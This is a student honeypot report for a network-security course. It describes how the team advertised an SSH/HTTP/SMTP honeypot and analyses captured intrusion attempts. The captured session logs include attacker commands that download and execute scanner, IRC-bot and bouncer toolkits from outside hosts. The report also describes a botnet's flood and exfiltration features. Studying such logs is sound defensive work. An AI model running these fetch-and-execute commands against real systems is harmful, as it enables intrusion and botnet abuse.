Honeypot assignment

Network Security
201000086

Maurice Aarts
m.a.p.aarts@student.tue.nl

Jeroen Habraken
j.a.e.habraken@student.tue.nl

Tom Vrancken
t.j.g.m.vrancken@student.tue.nl

January 10, 2012

Contents

1 Introduction

This report describes the setup and results of the honeypot project carried out for the Network Security course at the University of Twente. The purpose of this project is to get acquainted with the concept of a honeypot, to get some hands-on experience with such a system and to get real-life experience with hackers. During this project we were free to design our own honeypot system. This setup is described in section 3. After a period of waiting for hacker activity, the collected logs were analyzed. These results are given in section 4. But first we shall explain how we have drawn attention to our honeypot in section 2.

2 Advertisement

We wanted to advertise our honeypot to hackers so that we could see what kind of attacks they would attempt on our honeypot. We had to be careful not to insult them in the process as we did not want to risk the possible consequences of an angry hacker getting past our security precautions. By advertising a hacker is more liable to stumble across the honeypot's IP address without actually asking a hacker to attempt to hack the honeypot.

2.1 Proxy

Our first attempt to advertise our server on the internet was by setting up a transparent open proxy using Squid (`squid 2.7.STABLE7-1ubuntu12.4`). Open proxies are often used by people to circumvent IP-address restrictions or to anonymize their internet usage by effectively obfuscating the originating IP address of their requests by routing it through the proxy server. When an open proxy-sniffer detects an open proxy it is immediately added to a list of available proxy servers. These lists propagate over the internet extremely quickly as proxy servers are often only online for a limited amount of time. The IPs on such a list will usually remain on there for anywhere between three days to six months, where they are periodically checked to see whether the proxy server is still active. We 'tested' our proxy on a russian proxy-check website which verified that our proxy was indeed online. After visiting the russian proxy check website our honeypot started generating data requests almost immediately. Our server was set up as a partially transparent proxy. It had the full functionality of a fully transparent proxy, except it also sent a header containing the originating IP address, thus requests done via our proxy were not fully anonymous and thus traceable. We chose to use a partially transparent proxy to avoid the use of our server for routing any extremely unsavory data. The proxy server was shut down after 24 hours as its sole purpose was to advertise our IP address and to get a glimpse of the types of requests done over an open proxy.

2.2 Pastebin

We pasted the following text on several pastebin sites:

```
16:11 < retrace>  ----[[[ X~MAS PRESENT ]]]-----
16:11 < retrace> ssh root@130.89.241.135
16:11 < retrace> pw 123456
16:11 < retrace> courtesy of ~~~Cyb3rW0lf_99~~~
```

This is very similar to the posting style of a number of scripts and hacker-groups that post such information about exploitable servers on publicly accessible pastebins. These websites are often scraped for data as users often post snippets of code or other text and forget to remove passwords or other credentials. By making a post similar to the output of some existing scripts we hoped our post would also be scraped and it would trigger additional SSH login attempts, as there is enough information to allow a user to gain access to the honeypot.

3 Setup

3.1 Services

In this section we will describe the services set up on our honeypot.

3.1.1 SSH

In the assignment it was suggested to create an account with a guessable user / password pair, however we preferred not to hand out shell access to the installation. Instead we opted to use Kippo, a medium interaction SSH honeypot designed to log brute force attacks and, most importantly, the entire shell interaction performed by the attacker[1]. This allowed us to capture SSH login attempts and actual logins without risking our installation. It runs with the privileges of a regular user on port 10022 and has port 22 forwarded to it via `iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 10022`.

3.1.2 HTTP

We chose to set up a HTTP server using a classic Apache 2 (`Apache/2.2.14 (Ubuntu)`) installation configured to log all requests and serve the default "It works!" page. Apache has automatic access and error logging, so even with just the default page we were capable of logging all requests done to the HTTP server on port 80.

3.1.3 SMTP

We installed `smtp-sink` to emulate a Simple Mail Transfer Protocol (SMTP) relay. It is a utility generally used by `postfix` for benchmark purposes, but has the ability to log each connection and message. It runs with the privileges of a regular user and has ports 25, 587 and 2525 forwarded to it in a similar fashion to the SSH honeypot. Often servers that have been exploited or have been misconfigured are set up to function as a mail relay server. This allows a user to forward mail from that server as if it is actually coming from a different domain. While this does have some valid uses, it is often abused by spammers to send massive amounts of mail from non-existing domains, or from an address that they do not control.

3.1.4 File sharing

As stated in the original setup document we intended to run FTP and CIFS/SMB services configured in such a way that they were publicly writable by anonymous users to check whether they would be used to distribute malware. However, due to copyright concerns we decided not to go through with this. It would be almost impossible to find the copyright holder and verify we could legally host the file to the public.

3.1.5 Connections

Via an iptables configuration, `iptables -I INPUT -m state --state NEW -j LOG --log-prefix "NEW: "` and `iptables -I OUTPUT -m state --state NEW -j LOG --log-prefix "NEW: "` we intended to keep track of incoming and outgoing connection attempts respectively. Unfortunately we had to disable this due to the high number of incoming connections attempts because of the previously running HTTP proxy, the logs flooded the available disk space.

3.1.6 NoSQL

Since a file sharing service was not possible we decided to add a NoSQL database instead, MongoDB in particular. MongoDB is a scalable, high-performance, open source NoSQL database[2] and

[1] `http://code.google.com/p/kippo/`
[2] `http://www.mongodb.org`

a relatively new (and potentially buggy) piece of software.

It was installed by following the steps described at `http://www.mongodb.org/display/DOCS/Quickstart+Unix` and configuring it bind to the internet and log verbosely.

3.2 Logging

To keep track of the log files we have used a `cron` job to `rsync` directories containing log files to a second server maintained by us at a five minute interval. There these log files were added to a GIT repository to keep a backup and allow us to track changes over time.

At times we have also captured specific types of traffic using the `tcpdump` utility for later analysis.

4 Analysis

This section describes the results of the honeypot project. Since we ran several different services with their own characteristics and vulnerabilities, the results are subdivided per service. Additional information about the services can be found in the Setup section.

Please note that we have masked IP addresses where applicable for privacy reasons.

4.1 Proxy

Our server's IP address was `130.89.241.135`. Google search results for `130.89.241.135` before and after running an open proxy returned approximately 450 and 180000 results respectively. This shows a significant increase of results, meaning that our IP address is a lot more likely to be spidered by hackers looking for IP addresses of servers to test.

The great majority of proxy requests was advertisement click-fraud and a small amount was people trying to visit websites that may be restricted in other countries, such as but not limited to: youtube.com, facebook.com and hulu.com.

4.2 SSH

Whilst Kippo was running we had 10380 connections from a total of 131 source addresses which originated from the countries as shown in Table 1.

Country	Number of connections
China	5747
United States	1453
Russia	1136
the Netherlands	401
Italy	293
Croatia	151

Table 1: The estimate number of SSH connections per country

The only oddity were the requests from Italy, which originated from the subnet of the Universita di Napoli Federico II.

Each of these connections attempted a login with a total of 2140 unique usernames and 6770 unique passwords, the most frequently occurring are show in Table 2 and Table 3.

Username	Number of attempts
root	4348
test	132
bin	100
oracle	88
admin	71
hadoop	54
office	43
asterisk	36
tester	34
testing	31

Table 2: The number of times each username was attempted in a login

Password	Number of attempts
123456	150
1234	100
password	80
12345	60
123	53
test	50
(empty)	46
1234567	39
root	38
abc123	38

Table 3: The number of times each password was attempted in a login

Some rather odd passwords were tried as well, some even up to seven times:

```
@!#$%&*Th3@#$!FORcE%&*@#IS!@#$%!&
@#$%TheInfinitOfLife@#$%
!CoA!3pemata!Qazxsw22243s2
130384stanciualexandrumarcel
1985this1is2not3my4real5password61985
```

All these attempts led to 42 successful logins from 39 unique source addresses, since Kippo was configured to use the username "root" with password "123456". However, only five of these logins led to a session in which a user actually executed commands. We expect the other logins to be from SSH brute forcing scripts which report to their herder later. The active sessions are documented in the following section, please note that long output has been truncated by ....

4.2.1 Captured sessions

Listing 1: Login session 1

```
dacs135:~# w
 16:50:36 up 14 days,  3:53,  1 user,  load average: 0.08, 0.02, 0.01
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    95.121.220.219    16:50    0.00s  0.00s  0.00s w
```

```
dacs135:~# uname -a
Linux dacs135 2.6.26-2-686 #1 SMP Wed Nov 4 20:45:37 UTC 2009 i686 GNU/Linux
```

This was a short session which checked the logged in users and the type of machine, no other commands were executed.

Listing 2: Login session 2

```
dacs135:~# w
 14:50:04 up 14 days,  3:53,  1 user,  load average: 0.08, 0.02, 0.01
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    89.122.237.128    14:50    0.00s  0.00s  0.00s w
dacs135:~# cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 23
model name      : Intel(R) Core(TM)2 Duo CPU     E8200  @ 2.66GHz
stepping        : 6
cpu MHz         : 2133.305
cache size      : 6144 KB
physical id     : 0
siblings        : 2
core id         : 0
cpu cores       : 2
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 10
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat
     pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm
    constant_tsc arch_perfmon pebs bts rep_good pni monitor ds_cpl vmx smx est tm2
    ssse3 cx16 xtpr sse4_1 lahf_lm
bogomips        : 4270.03
clflush size    : 64
cache_alignment : 64
address sizes   : 36 bits physical, 48 bits virtual
power management:

...

dacs135:~# wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/
    EN-US/W2Ksp3.exe
--2011-11-09 14:50:36--  http://download.microsoft.com/download/win2000platform/SP/
    SP3/NT5/EN-US/W2Ksp3.exe
Connecting to download.microsoft.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 130978672 (124M) [application/octet-stream]
Saving to: `W2Ksp3.exe

19% [=======>                                ] 25,167,272   1314K/s  eta 1m 20s^C
200 OK
dacs135:~# wget http://root-arhive.do.am/scanner/gosh.jpg ; tar zxvf gosh.jpg ; cd
    gosh ; chmod +x * ;
--2011-11-09 14:52:38--  http://root-arhive.do.am/scanner/gosh.jpg
Connecting to root-arhive.do.am:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1651420 (1M) [image/jpeg]
Saving to: `gosh.jpg

100%[======================================>] 1,651,420    65K/s  eta 0s

2011-11-09 14:53:03 (65 KB/s) - `gosh.jpg' saved [1651420/1651420]
gosh
gosh/a
gosh/2
```

```
gosh/ss
gosh/pscan2
gosh/secure
gosh/ssh-scan
gosh/vuln.txt
gosh/common
gosh/1
gosh/gen-pass.sh
gosh/pass_file
gosh/5
gosh/scam
gosh/3
gosh/mfu.txt
gosh/go.sh
gosh/4
gosh/pscan3
dacs135:/root/gosh# ./go.sh 219
unable to open display ":0"
dacs135:/root/gosh# ./go.sh 211
unable to open display ":0"
dacs135:/root/gosh# wget www.deathinface.com/psybnc/psybnc-linux.tgz ; tar -xzvf
    psybnc-linux.tgz ; rm -rf psybnc-linux.tgz ; cd psybnc-linux ; cd psybnc ;
    chmod +x * ; ./psybnc
--2011-11-09 14:54:26--  http://www.deathinface.com/psybnc/psybnc-linux.tgz
Connecting to www.deathinface.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 568152 (554K) [application/x-tar]
Saving to: `psybnc-linux.tgz

100%[======================================>] 568,152      104K/s  eta 2s

2011-11-09 14:54:29 (104 KB/s) - `psybnc-linux.tgz' saved [568152/568152]
psybnc-linux
psybnc-linux/psybnc

...

dacs135:/root/gosh/psybnc-linux/psybnc# ./psybnc
  ___
 {o,o}
 |)__)
 -"-"-
0 RLY? n
  ___
 {o,o}
 |)__)
 -"-"-
0 RLY? y
  ___
 {o,o}
 (__(|
 -"-"-
NO WAI!
dacs135:/root/gosh/psybnc-linux/psybnc# cd
dacs135:~# ls
gosh.jpg gosh
dacs135:~# rm -rf gosh.jpg
dacs135:~# rm -rf gosh
```

Listing 2 is a longer session which starts with checks similar to those found in Listing 1, to check for logged in users and the type of machine. The download of `http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe` is then used to determine the internet capabilities of the machine. Since this file is hosted on a content distribution network by Microsoft it can be used to determine the maximum speed everywhere. When the attacker determined that to be sufficient he downloaded and unpacked both `http://root-arhive.do.am/scanner/gosh.jpg` and `http://www.deathinface.com/psybnc/psybnc-linux.tgz` which are described in

section 4.2.2. Next he tried executing these executables, which Kippo prevented, causing him to clean up and end the session.

Listing 3: Login session 3

```
dacs135:~# w
 22:22:25 up 14 days,  3:53,  1 user,  load average: 0.08, 0.02, 0.01
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    98.142.221.13     22:22    0.00s  0.00s  0.00s w
dacs135:~# php -v
bash: php: command not found
dacs135:~# yum install php
bash: yum: command not found
dacs135:~# apt-get install php
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  php
0 upgraded, 1 newly installed, 0 to remove and 259 not upgraded.
Need to get 487.2kB of archives.
After this operation, 1071.4kB of additional disk space will be used.
Get:1 http://ftp.debian.org stable/main php 0.31-4 [487.2kB]
Fetched 487.2kB in 1s (4493B/s)
Reading package fields... Done
Reading package status... Done
(Reading database ... 177887 files and directories currently installed.)
Unpacking php (from .../archives/php_0.31-4_i386.deb) ...
Processing triggers for man-db ...
Setting up php (0.31-4) ...
dacs135:~# exit
```

Again the attacked checked for logged in users and determined if PHP was installed. When it turned out it wasn't it tried installing it using `apt-get`, the Debian[3] package manager. This is emulated by Kippo but with a random version number, and since PHP version `php_0.31-4_i386` does not exist it alerted the attacker causing him to end the session.

Listing 4: Login session 4

```
dacs135:~# id uname -a
uid=0(root) gid=0(root) groups=0(root)
dacs135:~# "id uname -a"
bash: id uname -a: command not found
dacs135:~# ls
dacs135:~# echo "This box was pwned\!"
This box was pwned\!
dacs135:~# exit
```

A sort session in which the attacker verified whether he was the root user after which he messed about and left.

Listing 5: Login session 5

```
dacs135:~# who
 22:44:28 up 14 days,  3:53,  1 user,  load average: 0.08, 0.02, 0.01
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    193.64.22.197     22:44    0.00s  0.00s  0.00s w
dacs135:~# uname -a
Linux dacs135 2.6.26-2-686 #1 SMP Wed Nov 4 20:45:37 UTC 2009 i686 GNU/Linux
dacs135:~# wget
wget: missing URL
Usage: wget [OPTION]... [URL]...

Try `wget --help' for more options.
dacs135:~# gcc
```

[3] `http://www.debian.org`

```
bash: gcc: command not found
dacs135:~# perl
bash: perl: command not found
dacs135:~# who
 22:44:40 up 14 days,  3:53,  1 user,  load average: 0.08, 0.02, 0.01
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    193.64.22.197     22:44    0.00s  0.00s  0.00s w
dacs135:~# ls -a
.          ..         .debtags   .viminfo   .aptitude .profile   .bashrc
dacs135:~# irssi
bash: irssi: command not found
dacs135:~# uname -a
Linux dacs135 2.6.26-2-686 #1 SMP Wed Nov 4 20:45:37 UTC 2009 i686 GNU/Linux
dacs135:~# wget http://cachefly.cachefly.net/100mb.test
--2011-12-10 22:45:22--  http://cachefly.cachefly.net/100mb.test
Connecting to cachefly.cachefly.net:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 104857600 (100M) [application/octet-stream]
Saving to: '100mb.test

20% [=======>                                ] 21,084,336   2826K/s  eta 29s^C
200 OK
dacs135:~# netstat
bash: netstat: command not found
dacs135:~# exit
```

The session started in the usual manner after which the attacker checked for the presence of the `wget`, `gcc`, `perl` and `irssi`. Next he tested the upload speed in a similar manner as to Listing 2 which he must not have found satisfactory causing him to exit the session.

4.2.2 Captured files

Kippo captured a number of files that users downloaded when connected to the kippo service. In this section we will analyse the payload of these files to see what the user was attempting to install on the exploited server.

The first download was a file called `http://root-arhive.do.am/scanner/gosh.jpg` which was actually a tar.gz file. This file was extracted on the honeypot and contained a list of files as shown in Listing 2. These files included an extensive set of user/password lists and a list of IPs to scan. There is also a simple ssh-scanner, a password-file merging utility, and an IRC bot. The IRC bot joins a channel called `#pentagon` on quakenet, and responds to requests from a user named "baners" to do portscans, HTTP-floods, TCP-floods, UDP-floods, and CTCP-floods to a given host/user. We connected to the channel and counted approximately 50 bots in the channel, along with the botnet administrator. There is also a service that scans the IP addresses in the IP-address list and mails the results to `danion_danion@yahoo.com`.

The second download was `http://www.deathinface.com/psybnc/psybnc-linux.tgz` which is simply a folder containing the program (and source of) PsyBNC. PsyBNC is an IRC bouncer. This file was downloaded by the same user as the first file, so the user probably wanted to set up both a bot and an IRC bouncer on the server so that his botnet would have a higher chance of staying online if another bot went down.

The third file was `http://cachefly.cachefly.net/100mb.test`. This file contained a directory containing a FreeBSD script and a generic linux script that output a number of system statistiscs such as load, running processes, disk space, sendmail and pop3d/imapd status, and the number of running HTTP and MySQL processes. It also contains a script that copies the hacker's SSH keyfile to the server's authorized_users file so he can login without a password. It also contained a folder containing a large amount of status-files from other machines that were exploited using the same scripts. The datestamp of the files is from November 2004, so we suspect

the hacker is attempting to use an older exploit. As the hacker cancelled the file download, and the files' contents contain scripts to simplify ssh and server-statusses, we assume the hacker was looking for servers with fast internet connections to facilitate filesharing/filehosting.

Listing 6: File contents of Cachefly 100mb.test files

```
load1 load5 load15 disk-/ disk-/home disk-/tmp disk-/usr disk-/var numproc-total
    numproc-httpd numproc-httpsd numproc-mysqld qmail-success qmail-deferral qmail-
    failure connect-imapd connect-pop3d mem_free mem_wire mem_active mem_inactive
    mem_cache fxp0-Ibytes fxp0-Obytes
0.45 0.20 0.12 13 0 1 34 0 127 69 7 1 13148 17671 56308 500 6185 1312636928
    303824896 351272960 126717952 11997184 1825379107 2658160146

...

load1 load5 load15 disk-/ disk-/home disk-/tmp disk-/usr disk-/var numproc-total
    numproc-httpd numproc-mysqld qmail-success qmail-deferral qmail-failure
    mem_free mem_wire mem_active mem_inactive mem_cache fxp0-Ibytes fxp0-Obytes
    tun0*-Ibytes tun0*-Obytes
0.04 0.45 0.59 71 13 31 52 75 310 10 14 4 0 0 12263424 170328064 744775680 72097792
     43937792 828846410 3646748722 11 0
```

4.3 HTTP

Whilst running the HTTP service we received a total of 7492 requests from 258 different source addresses. These generally originated from the countries as shown in Table 4. Whilst East Eu-

Country	Number of requests
the Netherlands	3356
the United Kingdom	1035
Ukraine	623
Russia	572
Germany	340
United States	310
Republic of Colombia	152

Table 4: The estimate number of HTTP requests per country

ropean countries are generally blamed for hacking it initially surprised us to see the Netherlands, the United Kingdom and Germany this high in the list. However, these countries are home to the largest internet exchanges, housing many of the words data centers. The highest number of requests, 3045, originated from 213.247.32.xxx which is in the subnet of the large data hoster ReasonNet.

These requests were of the methods described in Table 5.

Method	Number of requests
GET	6581
HEAD	780
CONNECT	66
POST	47
OPTIONS	1
PUT	1

Table 5: The number of HTTP requests per method

In general these requests can be divided into two types of attacks, these are described in the following sections.

4.3.1 PHPMyAdmin exploit

PHPMyAdmin, a free software tool written in PHP intended to handle the administration of MySQL contained the security vulnerability numbered CVE-2009-1151. It is described as a static code injection vulnerability in setup.php in phpMyAdmin 2.11.x before 2.11.9.5 and 3.x before 3.1.3.1 allows remote attackers to inject arbitrary PHP code into a configuration file via the save action[4].

It was interesting to note the UserAgent headers used, shown in Table 6.

UserAgent
MiRRORS
ZmEu
Jorgee
Python-urllib/2.7
Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]
Mozilla/5.0 (X11; Linux x86_64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
Made by ZmEu @ WhiteHat Team - www.whitehat.ro

Table 6: The UserAgent headers used in attempts to exploit the PHPMyAdmin vulnerability

These seem to indicate the team affiliations and programming language used. The original proof-of-concept exploit was written in PHP and spoofed the UserAgent "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729)" thus we expect it to have been ported widely to integrate into the frameworks used by the teams.

4.3.2 Proxy check

When a HTTP server is incorrectly configured it can be used to as a proxy. This is checked by scrapers in two ways:

CONNECT method The CONNECT method converts the request connection to a transparent TCP/IP tunnel, usually to facilitate SSL-encrypted communication (HTTPS) through an unencrypted HTTP proxy. If the HTTP responds it can be used to make arbitrary HTTP connections. An example of such a request was `92.63.102.xxx - - [27/Oct/2011:09:33:39 +0200] "CONNECT 93.175.31.xxx:6667 HTTP/1.0" 405 557 "-" "-"`.

Full URL By specifying a full URL in a GET request it can be tested whether the HTTP server fetches this page. An example of such a request was `80.68.241.xxx - - [30/Nov/2011:17:13:08 +0100] "GET http://waca.ru/proxy_check_d41d8cd98f00b204e9800998ecf8427e_rbc.php HTTP/1.0" 404 526 "http://waca.ru/proxy_check_d41d8cd98f00b204e9800998ecf8427e_rbc.php" "Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.10"`.

4.4 SMTP-sink

The SMTP-sink did not get as much attention as we expected it to. This was probably caused by port 25 being blocked by UTwente and thus having to fall back to using 587 and 2525. While both are commonly used SMTP alternates they are not scanned as often as port 25 is. An additional feature of SMTP-sink is that it logs all requests on the ports it's listening to, allowing it to also detect `NMap` scans which do a HTTP request to attempt to identify the service running.

[4] `http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1151`

4.5 MongoDB

In addition to the configured MongoDB logging we were capturing any data sent from and to it using `tcpdump`, but unfortunately nobody connected to the service.

We believe this to be the case because MongoDB uses relatively high port numbers, 27017 and 28017 for the database and REST interface respectively. These are not scanned by `NMap` by default thus unless someone was scanning the whole port range or looking for MongoDB in particular it would remain hidden.

5 Conclusion

As the analysis shows, our honeypot logged significant amounts of malicious activity during the trial period. This indicates that security is still a major concern for all administrators that want to connect or mange a server connected to the internet, and necessary precautions are due.